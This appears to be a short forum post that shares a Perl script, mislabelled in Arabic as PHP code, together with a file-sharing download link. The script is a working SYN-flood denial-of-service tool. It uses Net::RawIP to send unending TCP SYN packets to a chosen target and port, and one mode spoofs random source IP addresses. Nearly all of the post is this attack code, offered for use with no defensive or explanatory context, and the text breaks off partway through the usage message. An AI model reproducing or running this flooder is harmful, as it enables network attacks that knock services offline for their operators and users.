[dabelzero]

http://www.2shared.com/file/6DMlq54t/zero.html

كود PHP:

#!/usr/bin/perl  use Net::RawIP;  system('clear');  $i = 0;  if($#ARGV == 2){  ($src,$dst,$port) = @ARGV;  $a = new Net::RawIP;  print q,nStarting Opt 1:n,;  while(1==1) {  $src_port = rand(65534)+1;  $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});  $a->send;  $i++;  print "$i ".'-'." Syn (Src IP = $src ,Src Port = $src_port): => Sent\n";  }  }  if($#ARGV == 1){  ($dst,$port) = @ARGV;  $a = new Net::RawIP;  print q,nStarting Opt 2:n,;  while(1==1) {  $src = int(rand(192)+1).'.'.int(rand(192)+1).'.'.int(rand  (100)+1).'.'.int(rand(50));  $src_port = int(rand(65534)+1);  $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});  $a->send;  $i++;  print "$i ".'-'." Syn (Src IP = $src , Src Port = $src_port): => Sent\n";  }  }  else{  print qq=    ...